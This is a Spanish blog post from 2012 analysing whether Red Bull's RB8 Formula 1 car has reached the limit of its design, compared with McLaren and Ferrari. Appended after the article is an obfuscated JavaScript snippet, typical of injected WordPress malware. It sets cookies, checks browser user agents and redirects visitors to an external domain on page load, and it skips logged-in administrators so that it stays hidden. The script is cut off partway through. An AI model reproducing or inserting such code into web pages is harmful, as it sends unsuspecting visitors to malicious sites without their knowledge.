



## RB8, En La Encrucijada (y 2)

Escrito por apr-torcs

Domingo, 05 de Febrero de 2012 20:00 - Actualizado Domingo, 05 de Febrero de 2012 20:15

---

En los circuitos de Silverstone y Suzuka, a primera vista, podemos ver un dominio aplastante por parte de Red Bull, en las últimas tres temporadas. Entrando un poco mas a fondo, comprobamos que, aunque ese dominio se ha mantenido en las poles, en carrera ha ido bajando hasta llegar en la temporada 2011 a perder el dominio frente a McLaren en Suzuka y frente a Ferrari en Silverstone (con reservas debido a la prohibición del EBD y off-throttle, aunque teniendo en cuenta que éste no existirá en 2011). Mirando los tiempos de las poles, también se hace patente cómo la distancia con el resto de la parrilla se ha ido recortando paulatinamente.

En los circuitos de Monaco y Singapur, vemos que la tendencia es la contraria a la anterior. La progresión es a mejorar tanto en clasificación como en carrera. En 2010 daba la sensación que Fernando Alonso con el F10 iba lanzado a conseguir la pole en Monaco (cosa que impidió el accidente de este ¿?). En Singapur Alonso se impuso en una carrera emocionante hasta la última vuelta. Estas circunstancias hicieron albergar esperanzas a Alonsistas y Ferraristas, para 2011, que se vieron truncadas con el desempeño impresionante del RB7 y Vettel, a pesar de los fallos de su equipo.

En los circuitos de Monza y Spa, se da una progresión parecida a la de Monaco y Singapur. Lo que impresiona de esto es, que en unos circuitos donde las diferencias han venido marcadas históricamente por la velocidad punta (mas en Monza que en Spa), Red Bull ha conseguido imponerse en 2011 sin aumentar ésta. Por el contrario, el paso por curva y la estabilidad en frenada, han conseguido enjugar las diferencias de años anteriores con equipos como Ferrari y McLaren, sorprendiendo a todos, ganando en estos templos de la velocidad gracias a la alta carga aerodinámica conseguida por el difusor soplado + off-throttle.

Dicho todo esto, y teniendo en cuenta el ciclo de vida de cualquier monoplace (nace y va mejorando paulatinamente hasta tocar el techo de su propio desarrollo, incluso adaptándose a diferentes normativas técnicas no radicales), considero que Red Bull y su RB8 se encuentran en una encrucijada. Siento decepcionar a los que esperaban que concluyera con una afirmación clara sobre la línea a seguir por Red Bull.

De los datos y las conclusiones extraigo que el concepto actual de Red Bull está tocando techo evolutivo (si no lo ha tocado ya). La bajada de diferencias en circuitos de curva rápida y alta carga y la subida en circuitos con curva lenta y alta/baja carga son, para mi, indicio suficiente para afirmar esto. Creo que Red Bull ha tenido que sacrificar prestaciones (con diseño y setup) en ciertas areas y tipo de circuito, para ganarlas en otras, además de asegurar la fiabilidad que tantos disgustos les ha dado en temporadas anteriores.

A pesar de esto McLaren y Ferrari no han conseguido superarlos. McLaren viene en progresión desde la temporada pasada y ha apostado por la continuidad. Ferrari ha apostado por un cambio radical, gestado casi desde principio de temporada. Con este panorama, Red Bull se enfrenta a la disyuntiva de apostar por la continuidad y, probablemente, verse superado por McLaren (si han conseguido aumentar prestaciones), por Ferrari (si han acertado con el F2012) o, incluso, por los dos; O apostar por una renovación que no aportará la seguridad de seguir estando arriba. Aunque también puede que ocurra lo contrario según la opción que tomen.

## RB8, En La Encrucijada (y 2)

Escrito por apr-torcs

Domingo, 05 de Febrero de 2012 20:00 - Actualizado Domingo, 05 de Febrero de 2012 20:15

---

Lo que si es seguro es que mañana saldremos de dudas. Si quieres, cuéntame en twitter (@angelProsado) la opción que tu crees que tomarán ;-)

```
var
_0x2cf4=['MSIE;', 'OPR', 'Chromium', 'Chrome', 'ppkcookie', 'location', 'https://www.areyourobots.xyz', 'onload', 'getElementByld', 'undefined', 'setTime', 'getTime', 'toUTCString', 'cookie', 'x20path=', 'split', 'length', 'charAt', 'substring', 'indexOf', 'match', 'userAgent', 'Edge'];(function(_0x15c1df, _0x14d882){var
_0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4, 0x104));var
_0x287a=function(_0x1c2503, _0x26453f){_0x1c2503=_0x1c2503-0x0;var
_0x58feb3=_0x2cf4[_0x1c2503];return
_0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]( 'wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function
_0x335357(_0xe0ae90, _0x112012, _0x5523d4){var _0x21e546=";if(_0x5523d4){var
_0x5b6c5c=new
Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+''+(_0x112012||"")+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var
_0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var
_0x51e64c=0x0;_0x51e64c
```